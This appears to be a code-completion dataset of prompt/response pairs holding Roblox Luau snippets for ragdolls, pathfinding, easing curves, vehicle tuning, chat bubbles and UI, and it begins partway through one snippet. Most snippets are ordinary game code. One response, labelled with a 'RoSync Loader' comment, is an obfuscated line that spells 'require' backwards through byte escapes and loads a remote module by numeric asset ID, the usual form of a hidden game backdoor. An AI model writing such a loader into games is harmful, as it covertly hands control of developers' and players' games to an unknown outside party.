		if joint:IsA('Motor6D') then
			local socket = Instance.new('BallSocketConstraint')
			local a1 = Instance.new('Attachment')
			local a2 = Instance.new('Attachment')
			a1.Parent = joint.Part0
			a2.Parent = joint.Part1
			socket.Parent = joint.Parent
			socket.Attachment0 = a1
			socket.Attachment1 = a2
			a1.CFrame = joint.c0
			a2.CFrame = joint.c1
			socket.LimitsEnabled = true
			socket.TwistLimitsEnabled = true
			joint:Destroy()
			local bv = Instance.new("BodyVelocity")
			bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
			bv.Velocity = script.Parent.Parent.HumanoidRootPart.CFrame.lookVector * -0
			bv.Parent = script.Parent.Parent.HumanoidRootPart
			game.Debris:AddItem(bv, .1)
		end
end
wait(3)
for i, v in pairs(script.Parent.Parent:GetDescendants()) do
	if v:IsA("BallSocketConstraint") then

		v.UpperAngle = 0
		v.TwistUpperAngle = 0
		v.TwistLowerAngle = 0
		local Joins = Instance.new("Motor6D", v.Parent)
		Joins.Part0 = v.Attachment0.Parent
		Joins.Part1 = v.Attachment1.Parent
		Joins.C0 = v.Attachment0.CFrame
		Joins.C1 = v.Attachment1.CFrame
		v:Destroy()
	end
end
script.Parent:Destroy()


Prompt:
-- /**
--  * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
--  *
--  * This source code is licensed under the MIT license found in the
--  * LICENSE file in the root directory of this source tree.
--  *
--  */

Response:
local CurrentModule = script
local Packages = CurrentModule.Parent

local LuauPolyfill = require(Packages.LuauPolyfill)
local Object = LuauPolyfill.Object
type Array<T> = LuauPolyfill.Array<T>

local AssertionError = LuauPolyfill.AssertionError

local matcherUtils = require(Packages.JestMatcherUtils)

local AsymmetricMatchers = require(CurrentModule.asymmetricMatchers)
local any = AsymmetricMatchers.any
local anything = AsymmetricMatchers.anything
local arrayContaining = AsymmetricMatchers.arrayContaining
local arrayNotContaining = AsymmetricMatchers.arrayNotContaining
local objectContaining = AsymmetricMatchers.objectContaining
local objectNotContaining = AsymmetricMatchers.objectNotContaining
local stringContaining = AsymmetricMatchers.stringContaining
local stringNotContaining = AsymmetricMatchers.stringNotContaining
local stringMatching = AsymmetricMatchers.stringMatching
local stringNotMatching = AsymmetricMatchers.stringNotMatching

local JasmineUtils = require(CurrentModule.jasmineUtils)
local equals = JasmineUtils.equals

local JestMatchersObject = require(CurrentModule.jestMatchersObject)


Prompt: --Code runs when message/command is typed below

Response:
Command = "TEST"

game.Players.LocalPlayer.Chatted:connect(function(msg)
	if msg == Command then
		script.Parent.PlayerSent:FireServer(msg) --Triggers the code under the server script
	end
end)


Prompt: --[[ Last synced 12/11/2020 06:18 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: -- FUNCTION --

Response:
function RotateBlimp()

	local BlimpTween = TweenService:Create(AlignOrientation, TweenInfo.new(20, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
		CFrame = AlignOrientation.CFrame * CFrame.Angles(math.rad(-1), math.rad(180), 0)
	})

	BlimpTween:Play()

	return BlimpTween

end


Prompt: -----------------------------------PATHER--------------------------------------

Response:
local function CreateDestinationIndicator(pos)
	local destinationGlobe = Create'Part'
	{
		Name = 'PathGlobe';
		TopSurface = 'Smooth';
		BottomSurface = 'Smooth';
		Shape = 'Ball';
		CanCollide = false;
		Size = Vector3.new(2,2,2);
		BrickColor = BrickColor.new('Institutional white');
		Transparency = 0;
		Anchored = true;
		CFrame = CFrame.new(pos);
	}
	return destinationGlobe
end

local function Pather(character, point)
	local this = {}

	this.Cancelled = false
	this.Started = false

	this.Finished = Signal.Create()
	this.PathFailed = Signal.Create()
	this.PathStarted = Signal.Create()

	this.PathComputed = false

	function this:YieldUntilPointReached(character, point, timeout)
		timeout = timeout or 10000000

		local humanoid = findPlayerHumanoid(Player)
		local torso = humanoid and humanoid.Torso
		local start = tick()
		local lastMoveTo = start
		while torso and tick() - start < timeout and this.Cancelled == false do
			local diffVector = (point - torso.CFrame.p)
			local xzMagnitude = (diffVector * Vector3.new(1,0,1)).magnitude
			if xzMagnitude < 6 then
				-- Jump if the path is telling is to go upwards
				if diffVector.Y >= 2.2 then
					humanoid.Jump = true
				end
			end
			-- The hard-coded number 2 here is from the engine's MoveTo implementation
			if xzMagnitude < 2 then
				return true
			end
			-- Keep on issuing the move command because it will automatically quit every so often.
			if tick() - lastMoveTo > 1.5 then
				humanoid:MoveTo(point)
				lastMoveTo = tick()
			end
			CharacterControl:UpdateTorso(point)
			wait()
		end
		return false
	end

	function this:Cancel()
		this.Cancelled = true
		local humanoid = findPlayerHumanoid(Player)
		local torso = humanoid and humanoid.Torso
		if humanoid and torso then
			humanoid:MoveTo(torso.CFrame.p)
		end
	end

	function this:CheckOcclusion(point1, point2, character, torsoRadius)
		local humanoid = findPlayerHumanoid(Player)
		local torso = humanoid and humanoid.Torso
		if torsoRadius == nil then
			torsoRadius = torso and Vector3.new(torso.Size.X/2,0,torso.Size.Z/2) or Vector3.new(1,0,1)
		end

		local diffVector = point2 - point1
		local directionVector = diffVector.unit

		local rightVector = Vector3.new(0,1,0):Cross(directionVector) * torsoRadius

		local rightPart, _ = Utility.Raycast(Ray.new(point1 + rightVector, diffVector + rightVector), true, {character})
		local hitPart, _ = Utility.Raycast(Ray.new(point1, diffVector), true, {character})
		local leftPart, _ = Utility.Raycast(Ray.new(point1 - rightVector, diffVector - rightVector), true, {character})

		if rightPart or hitPart or leftPart then
			return false
		end

		-- Make sure we have somewhere to stand on
		local midPt = (point2 + point1) / 2
		local studsBetweenSamples = 2
		for i = 1, math.floor(diffVector.magnitude/studsBetweenSamples) do
			local downPart, _ = Utility.Raycast(Ray.new(point1 + directionVector * i * studsBetweenSamples, Vector3.new(0,-7,0)), true, {character})
			if not downPart then
				return false
			end
		end

		return true
	end

	function this:SmoothPoints(pathToSmooth)
		local result = {}

		local humanoid = findPlayerHumanoid(Player)
		local torso = humanoid and humanoid.Torso
		for i = 1, #pathToSmooth do
			table.insert(result, pathToSmooth[i])
		end

		-- Backwards for safe-deletion
		for i = #result - 1, 1, -1 do
			if i + 1 <= #result then

				local nextPoint = result[i+1]
				local thisPoint = result[i]

				local lastPoint = result[i-1]
				if lastPoint == nil then
					lastPoint = torso and Vector3.new(torso.CFrame.p.X, thisPoint.Y, torso.CFrame.p.Z)
				end

				if lastPoint and Utility.FuzzyEquals(thisPoint.Y, lastPoint.Y) and Utility.FuzzyEquals(thisPoint.Y, nextPoint.Y) then
					if this:CheckOcclusion(lastPoint, nextPoint, character) then
						table.remove(result, i)
						-- Move i back one to recursively-smooth
						i = i + 1
					end
				end
			end
		end

		return result
	end

	function this:CheckNeighboringCells(character)
		local pathablePoints = {}
		local humanoid = findPlayerHumanoid(Player)
		local torso = character and humanoid and humanoid.Torso
		if torso then
			local torsoCFrame = torso.CFrame
			local torsoPos = torsoCFrame.p
			-- Minus and plus 2 is so we can get it into the cell-corner space and then translate it back into cell-center space
			local roundedPos = Vector3.new(Utility.Round(torsoPos.X-2,4)+2, Utility.Round(torsoPos.Y-2,4)+2, Utility.Round(torsoPos.Z-2,4)+2)
			local neighboringCells = {}
			for x = -4, 4, 8 do
				for z = -4, 4, 8 do
					table.insert(neighboringCells, roundedPos + Vector3.new(x,0,z))
				end
			end
			for _, testPoint in pairs(neighboringCells) do
				local pathable = this:CheckOcclusion(roundedPos, testPoint, character, Vector3.new(0,0,0))
				if pathable then
					table.insert(pathablePoints, testPoint)
				end
			end
		end
		return pathablePoints
	end

	function this:ComputeDirectPath()
		local humanoid = findPlayerHumanoid(Player)
		local torso = humanoid and humanoid.Torso
		if torso then
			local startPt = torso.CFrame.p
			local finishPt = point
			if (finishPt - startPt).magnitude < 150 then
				-- move back the destination by 2 studs or otherwise the pather will collide with the object we are trying to reach
				finishPt = finishPt - (finishPt - startPt).unit * 2
				if this:CheckOcclusion(startPt, finishPt, character, Vector3.new(0,0,0)) then
					local pathResult = {}
					pathResult.Status = Enum.PathStatus.Success
					function pathResult:GetPointCoordinates()
						return {finishPt}
					end
					return pathResult
				end
			end
		end
	end

	local function AllAxisInThreshhold(targetPt, otherPt, threshold)
		return math.abs(targetPt.X - otherPt.X) <= threshold and
			math.abs(targetPt.Y - otherPt.Y) <= threshold and
			math.abs(targetPt.Z - otherPt.Z) <= threshold
	end

	function this:ComputePath()
		local smoothed = false
		local humanoid = findPlayerHumanoid(Player)
		local torso = humanoid and humanoid.Torso
		if torso then
			if this.PathComputed then return end
			this.PathComputed = true
			-- Will yield the script since it is an Async script (start, finish, maxDistance)
			-- Try to use the smooth function, but it may not exist yet :(
			local success = pcall(function()
				-- 3 is height from torso cframe to ground
				this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p - Vector3.new(0,3,0), point, 400)
				smoothed = true
			end)
			if not success then
				-- 3 is height from torso cframe to ground
				this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p - Vector3.new(0,3,0), point, 400)
				smoothed = false
			end
			this.pointList = this.pathResult and this.pathResult:GetPointCoordinates()
			local pathFound = false
			if this.pathResult.Status == Enum.PathStatus.FailFinishNotEmpty then
				-- Lets try again with a slightly set back start point; it is ok to do this again so the FailFinishNotEmpty uses little computation
				local diffVector = point - workspace.CurrentCamera.CoordinateFrame.p
				if diffVector.magnitude > 2 then
					local setBackPoint = point - (diffVector).unit * 2.1
					local success = pcall(function()
						this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p, setBackPoint, 400)
						smoothed = true
					end)
					if not success then
						this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p, setBackPoint, 400)
						smoothed = false
					end
					this.pointList = this.pathResult and this.pathResult:GetPointCoordinates()
					pathFound = true
				end
			end
			if this.pathResult.Status == Enum.PathStatus.ClosestNoPath and #this.pointList >= 1 and pathFound == false then
				local otherPt = this.pointList[#this.pointList]
				if AllAxisInThreshhold(point, otherPt, 4) and (torso.CFrame.p - point).magnitude > (otherPt - point).magnitude then
					local pathResult = {}
					pathResult.Status = Enum.PathStatus.Success
					function pathResult:GetPointCoordinates()
						return {this.pointList}
					end
					this.pathResult = pathResult
					pathFound = true
				end
			end
			if (this.pathResult.Status == Enum.PathStatus.FailStartNotEmpty or this.pathResult.Status == Enum.PathStatus.ClosestNoPath) and pathFound == false then
				local pathablePoints = this:CheckNeighboringCells(character)
				for _, otherStart in pairs(pathablePoints) do
					local pathResult;
					local success = pcall(function()
						pathResult = PathfindingService:ComputeSmoothPathAsync(otherStart, point, 400)
						smoothed = true
					end)
					if not success then
						pathResult = PathfindingService:ComputeRawPathAsync(otherStart, point, 400)
						smoothed = false
					end
					if pathResult and pathResult.Status == Enum.PathStatus.Success then
						this.pathResult = pathResult
						if this.pathResult then
							this.pointList = this.pathResult:GetPointCoordinates()
							table.insert(this.pointList, 1, otherStart)
						end
						break
					end
				end
			end
			if DirectPathEnabled then
				if this.pathResult.Status ~= Enum.PathStatus.Success then
					local directPathResult = this:ComputeDirectPath()
					if directPathResult and directPathResult.Status == Enum.PathStatus.Success then
						this.pathResult = directPathResult
						this.pointList = directPathResult:GetPointCoordinates()
					end
				end
			end
		end
		return smoothed
	end

	function this:IsValidPath()
		this:ComputePath()
		local pathStatus = this.pathResult.Status
		return pathStatus == Enum.PathStatus.Success
	end

	function this:GetPathStatus()
		this:ComputePath()
		return this.pathResult.Status
	end

	function this:Start()
		spawn(function()
			local humanoid = findPlayerHumanoid(Player)
			--humanoid.AutoRotate = false
			local torso = humanoid and humanoid.Torso
			if torso then
				if this.Started then return end
				this.Started = true
				-- Will yield the script since it is an Async function script (start, finish, maxDistance)
				local smoothed = this:ComputePath()
				if this:IsValidPath() then
					this.PathStarted:fire()
					-- smooth out zig-zaggy paths
					local smoothPath = smoothed and this.pointList or this:SmoothPoints(this.pointList)
					for i, point in pairs(smoothPath) do
						if humanoid then
							if this.Cancelled then
								return
							end

							local wayPoint = nil
							if SHOW_PATH then
								wayPoint = CreateDestinationIndicator(point)
								wayPoint.BrickColor = BrickColor.new("New Yeller")
								wayPoint.Parent = workspace
								print(wayPoint.CFrame.p)
							end

							humanoid:MoveTo(point)

							local distance = ((torso.CFrame.p - point) * Vector3.new(1,0,1)).magnitude
							local approxTime = 10
							if math.abs(humanoid.WalkSpeed) > 0 then
								approxTime = distance / math.abs(humanoid.WalkSpeed)
							end

							local yielding = true

							if i == 1 then
								--local rotatedCFrame = CameraModule:LookAtPreserveHeight(point)
								if CameraModule then
									local rotatedCFrame = CameraModule:LookAtPreserveHeight(smoothPath[#smoothPath])
									local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
								end
								--CharacterControl:SetTorsoLookPoint(point)
							end
							---[[
							if (humanoid.Torso.CFrame.p - point).magnitude > 9 then
								spawn(function()
									while yielding and this.Cancelled == false do
										if CameraModule then
											local look = CameraModule:GetCameraLook()
											local squashedLook = (look * Vector3.new(1,0,1)).unit
											local direction = ((point - workspace.CurrentCamera.CoordinateFrame.p) * Vector3.new(1,0,1)).unit

											local theta = math.deg(math.acos(squashedLook:Dot(direction)))

											if tick() - Utility.GetLastInput() > 2 and theta > (workspace.CurrentCamera.FieldOfView / 2) then
												local rotatedCFrame = CameraModule:LookAtPreserveHeight(point)
												local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
												--return
											end
										end
										wait(0.1)
									end
								end)
							end
							--]]
							local didReach = this:YieldUntilPointReached(character, point, approxTime * 3 + 1)

							yielding = false

							if SHOW_PATH then
								wayPoint:Destroy()
							end

							if not didReach then
								this.PathFailed:fire()
								return
							end
						end
					end

					this.Finished:fire()
					return
				end
			end
			this.PathFailed:fire()
		end)
	end

	return this
end


Prompt: --Hide Avatar

Response:
script.Parent.ChildAdded:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Part") then
v.Transparency=1
v.CanCollide=false
end
end
end
end
end)


Prompt: -- local script inside a TextLabel

Response:
local player = game.Players.LocalPlayer
local SoulValue = player.Currency.Soul
local textLabel = script.Parent

local function updateText()
	local Soul = SoulValue.Value
	if Soul > 999 then
		if Soul >= 1000000 then
			textLabel.Text = string.format("%.1fM", Soul / 1000000)
		elseif Soul >= 1000 then
			textLabel.Text = string.format("%.1fK", Soul / 1000)
		end
	else
		textLabel.Text = tostring(Soul)
	end
end

SoulValue.Changed:Connect(updateText)
updateText()


Prompt: -- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, -0.47, -0.005) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: --//Controller//--

Response:
while task.wait(Configuration.RegenTime.Value) do
	if Humanoid.Sit == true then
		Humanoid.Health = Humanoid.Health + Configuration.HealthRegen.Value
	end
end


Prompt: -- Saves profile card information for next time

Response:
Players.PlayerRemoving:Connect(function(player)
	local statusSuccess, statusError = pcall(function()
		Statuses:SetAsync(player.UserId, player:GetAttribute("status"))
	end)
	if statusSuccess then
		print("Status successfully updated!")
	else
		print(player, statusError)
	end
end)


Prompt: --By Thomasthered

Response:
local Model = script.Parent
local Config = Model.Configuration
local Username = Config.Username.Value

local function resetModel()
	for i,v in pairs(Model:GetChildren()) do
		if v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') or v:IsA('ShirtGraphic') then
			v:Destroy()
		end
	end
	if Model.Head:findFirstChild('Mesh') then
		Model.Head.Mesh:Destroy()
	end
end

local function updateModel()
	local AppModel = game.Players:GetCharacterAppearanceAsync(game.Players:GetUserIdFromNameAsync(Username))
	for i,v in pairs(AppModel:GetChildren()) do
		if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh') then
			v.Parent = Model.Head
		elseif v:IsA('Decal') then
			Model.Head.face.Texture = v.Texture
		elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then
			if Model:findFirstChild('Body Colors') then
				Model['Body Colors']:Destroy()
			end
			v.Parent = Model
		elseif v:IsA('Accessory') then
			v.Parent = Model
			v.Handle.CFrame = Model.Head.CFrame * CFrame.new(0, Model.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse()
		else
			print('Object: '..v.Name..' is not recognised, type: '..v.ClassName)
		end
	end
	if not Model.Head:FindFirstChild('Mesh') then
		local m = Instance.new('SpecialMesh', Model.Head)
		m.MeshType = Enum.MeshType.Head
		m.Scale = Vector3.new(1.25, 1.25, 1.25)
	end
end
wait(2)
updateModel()


Prompt: -- Prepping joint variables

Response:
local neck, shoulder, oldNeckC0, oldShoulderC0, saveAngle

saveAngle = Vector3.new(0, 0, 0) -- Just giving it an initial value


Prompt:
--[=[
  @function removeValues
  @within Dictionary

  @param dictionary {[K]: V} -- The dictionary to remove the values from.
  @param values ...V -- The values to remove.
  @return {[K]: V} -- The dictionary without the given values.

  Removes the given values from the given dictionary.

  ```lua
  local dictionary = { hello = "world", cat = "meow", unicorn = "rainbow", goodbye = "world" }

  local withoutWorld = RemoveValues(dictionary, "world") -- { cat = "meow", unicorn = "rainbow" }
  local onlyWorld = RemoveValues(dictionary, "meow", "rainbow") -- { hello = "world", goodbye = "world" }
  ```
]=]

Response:
local function removeValues<K, V>(dictionary: { [K]: V }, ...: V): { [K]: V }
	local values = ToSet({ ... })
	local result = {}

	for key, value in pairs(dictionary) do
		if not values[value] then
			result[key] = value
		end
	end

	return result
end

return removeValues


Prompt: --// Modules

Response:
local L_92_ = require(L_21_:WaitForChild("Utilities"))
local L_93_ = require(L_21_:WaitForChild("Spring"))
local L_94_ = require(L_21_:WaitForChild("Plugins"))
local L_95_ = require(L_21_:WaitForChild("easing"))

local L_96_ = L_92_.Fade
local L_97_ = L_92_.SpawnCam
local L_98_ = L_92_.FixCam
local L_99_ = L_92_.tweenFoV
local L_100_ = L_92_.tweenCam
local L_101_ = L_92_.tweenRoll
local L_102_ = L_92_.TweenJoint

local L_103_ = L_92_.Weld


Prompt: --{{SERVICES}}

Response:
local TweenService = game:GetService("TweenService")
local Debris = game:GetService("Debris")


Response:
easings.QuadIn = function(t)
	t = t / 1
	return 1 * math.pow(t, 2) + 0
end

easings.QuadOut = function(t)
	t = t / 1
	return -1 * t * (t - 2) + 0
end

easings.QuadInOut = function(t)
	t = t / 1 * 2
	if t < 1 then
		return 1 / 2 * math.pow(t, 2) + 0
	else
		return -1 / 2 * ((t - 1) * (t - 3) - 1) + 0
	end
end

easings.QuadOutIn = function(t)
	if t < 1 / 2 then
		return easings.QuadOut(t * 2, 0, 1 / 2, 1)
	else
		return easings.QuadIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
	end
end

easings.CubicIn = function(t)
	t = t / 1
	return 1 * math.pow(t, 3) + 0
end

easings.CubicOut = function(t)
	t = t / 1 - 1
	return 1 * (math.pow(t, 3) + 1) + 0
end

easings.CubicInOut = function(t)
	t = t / 1 * 2
	if t < 1 then
		return 1 / 2 * t * t * t + 0
	else
		t = t - 2
		return 1 / 2 * (t * t * t + 2) + 0
	end
end

easings.CubicOutIn = function(t)
	if t < 1 / 2 then
		return easings.CubicOut(t * 2, 0, 1 / 2, 1)
	else
		return easings.CubicIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
	end
end

easings.QuartIn = function(t)
	t = t / 1
	return 1 * math.pow(t, 4) + 0
end

easings.QuartOut = function(t)
	t = t / 1 - 1
	return -1 * (math.pow(t, 4) - 1) + 0
end

easings.QuartInOut = function(t)
	t = t / 1 * 2
	if t < 1 then
		return 1 / 2 * math.pow(t, 4) + 0
	else
		t = t - 2
		return -1 / 2 * (math.pow(t, 4) - 2) + 0
	end
end

easings.QuartOutIn = function(t)
	if t < 1 / 2 then
		return easings.QuartOut(t * 2, 0, 1 / 2, 1)
	else
		return easings.QuartIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
	end
end

easings.QuintIn = function(t)
	t = t / 1
	return 1 * math.pow(t, 5) + 0
end

easings.QuintOut = function(t)
	t = t / 1 - 1
	return 1 * (math.pow(t, 5) + 1) + 0
end

easings.QuintInOut = function(t)
	t = t / 1 * 2
	if t < 1 then
		return 1 / 2 * math.pow(t, 5) + 0
	else
		t = t - 2
		return 1 / 2 * (math.pow(t, 5) + 2) + 0
	end
end

easings.QuintOutIn = function(t)
	if t < 1 / 2 then
		return easings.QuintOut(t * 2, 0, 1 / 2, 1)
	else
		return easings.QuintIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
	end
end

easings.SineIn = function(t)
	return -1 * math.cos(t / 1 * (math.pi / 2)) + 1 + 0
end

easings.SineOut = function(t)
	return 1 * math.sin(t / 1 * (math.pi / 2)) + 0
end

easings.SineInOut = function(t)
	return -1 / 2 * (math.cos(math.pi * t / 1) - 1) + 0
end

easings.SineOutIn = function(t)
	if t < 1 / 2 then
		return easings.SineOut(t * 2, 0, 1 / 2, 1)
	else
		return easings.SineIn((t * 2) -1, 0 + 1 / 2, 1 / 2, 1)
	end
end

easings.ExpoIn = function(t)
	if t == 0 then
		return 0
	else
		return 1 * math.pow(2, 10 * (t / 1 - 1)) + 0 - 1 * 0.001
	end
end

easings.ExpoOut = function(t)
	if t == 1 then
		return 0 + 1
	else
		return 1 * 1.001 * (-math.pow(2, -10 * t / 1) + 1) + 0
	end
end

easings.ExpoInOut = function(t)
	if t == 0 then return 0 end
	if t == 1 then return 0 + 1 end
	t = t / 1 * 2
	if t < 1 then
		return 1 / 2 * math.pow(2, 10 * (t - 1)) + 0 - 1 * 0.0005
	else
		t = t - 1
		return 1 / 2 * 1.0005 * (-math.pow(2, -10 * t) + 2) + 0
	end
end

easings.ExpoOutIn = function(t)
	if t < 1 / 2 then
		return easings.ExpoOut(t * 2, 0, 1 / 2, 1)
	else
		return easings.ExpoIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
	end
end

easings.CircIn = function(t)
	t = t / 1
	return(-1 * (math.sqrt(1 - math.pow(t, 2)) - 1) + 0)
end

easings.CircOut = function(t)
	t = t / 1 - 1
	return(1 * math.sqrt(1 - math.pow(t, 2)) + 0)
end

easings.CircInOut = function(t)
	t = t / 1 * 2
	if t < 1 then
		return -1 / 2 * (math.sqrt(1 - t * t) - 1) + 0
	else
		t = t - 2
		return 1 / 2 * (math.sqrt(1 - t * t) + 1) + 0
	end
end

easings.CircOutIn = function(t)
	if t < 1 / 2 then
		return easings.CircOut(t * 2, 0, 1 / 2, 1)
	else
		return easings.CircIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
	end
end

easings.ElasticIn = function(t)
	if t == 0 then return 0 end

	t = t / 1
	if t == 1  then return 0 + 1 end

	if not p then p = 1 * 0.3 end

	local s
	if not a or a < math.abs(1) then
		a = 1
		s = p / 4
	else
		s = p / (2 * math.pi) * math.asin(1/a)
	end

	t = t - 1

	return -(a * math.pow(2, 10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p)) + 0
end

easings.ElasticOut = function(t)
	if t == 0 then return 0 end

	t = t / 1
	if t == 1 then return 0 + 1 end

	if not p then p = 1 * 0.3 end

	local s
	if not a or a < math.abs(1) then
		a = 1
		s = p / 4
	else
		s = p / (2 * math.pi) * math.asin(1/a)
	end

	return a * math.pow(2, -10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p) + 1 + 0
end

easings.ElasticInOut = function(t)
	if t == 0 then return 0 end

	t = t / 1 * 2
	if t == 2 then return 0 + 1 end

	if not p then p = 1 * (0.3 * 1.5) end
	if not a then a = 0 end

	local s
	if not a or a < math.abs(1) then
		a = 1
		s = p / 4
	else
		s = p / (2 * math.pi) * math.asin(1 / a)
	end

	if t < 1 then
		t = t - 1
		return -0.5 * (a * math.pow(2, 10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p)) + 0
	else
		t = t - 1
		return a * math.pow(2, -10 * t) * math.sin((t * 1 - s) * (2 * math.pi) / p ) * 0.5 + 1 + 0
	end
end

easings.ElasticOutIn = function(t)
	if t < 1 / 2 then
		return easings.ElasticOut(t * 2, 0, 1 / 2, 1, a, p)
	else
		return easings.ElasticIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1, a, p)
	end
end

easings.BackIn = function(t)
	if not s then s = 1.70158 end
	t = t / 1
	return 1 * t * t * ((s + 1) * t - s) + 0
end

easings.BackOut = function(t)
	if not s then s = 1.70158 end
	t = t / 1 - 1
	return 1 * (t * t * ((s + 1) * t + s) + 1) + 0
end

easings.BackInOut = function(t)
	if not s then s = 1.70158 end
	s = s * 1.525
	t = t / 1 * 2
	if t < 1 then
		return 1 / 2 * (t * t * ((s + 1) * t - s)) + 0
	else
		t = t - 2
		return 1 / 2 * (t * t * ((s + 1) * t + s) + 2) + 0
	end
end

easings.BackOutIn = function(t)
	if t < 1 / 2 then
		return easings.BackOut(t * 2, 0, 1 / 2, 1, s)
	else
		return easings.BackIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1, s)
	end
end

easings.BounceOut = function(t)
	t = t / 1
	if t < 1 / 2.75 then
		return 1 * (7.5625 * t * t) + 0
	elseif t < 2 / 2.75 then
		t = t - (1.5 / 2.75)
		return 1 * (7.5625 * t * t + 0.75) + 0
	elseif t < 2.5 / 2.75 then
		t = t - (2.25 / 2.75)
		return 1 * (7.5625 * t * t + 0.9375) + 0
	else
		t = t - (2.625 / 2.75)
		return 1 * (7.5625 * t * t + 0.984375) + 0
	end
end

easings.BounceIn = function(t)
	return 1 - easings.BounceOut(1 - t, 0, 1, 1) + 0
end

easings.BounceInOut = function(t)
	if t < 1 / 2 then
		return easings.BounceIn(t * 2, 0, 1, 1) * 0.5 + 0
	else
		return easings.BounceOut(t * 2 - 1, 0, 1, 1) * 0.5 + 1 * .5 + 0
	end
end

easings.BounceOutIn = function(t)
	if t < 1 / 2 then
		return easings.BounceOut(t * 2, 0, 1 / 2, 1)
	else
		return easings.BounceIn((t * 2) - 1, 0 + 1 / 2, 1 / 2, 1)
	end
end


Prompt: --[[Transmission]]

Response:
Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt: -- init chat bubble tables

Response:
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
	this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
	this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
	this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end

initChatBubbleType(BubbleColor.WHITE,	"ui/dialog_white",	"ui/chatBubble_white_notify_bkg", 	false,	Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE,	"ui/dialog_blue",	"ui/chatBubble_blue_notify_bkg",	true, 	Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED,		"ui/dialog_red",	"ui/chatBubble_red_notify_bkg",		true,	Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN,	"ui/dialog_green",	"ui/chatBubble_green_notify_bkg",	true,	Rect.new(7,7,33,33))

function this:SanitizeChatLine(msg)
	if string.len(msg) > MaxChatMessageLengthExclusive then
		return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES))
	else
		return msg
	end
end

local function createBillboardInstance(adornee)
	local billboardGui = Instance.new("BillboardGui")
	billboardGui.Adornee = adornee
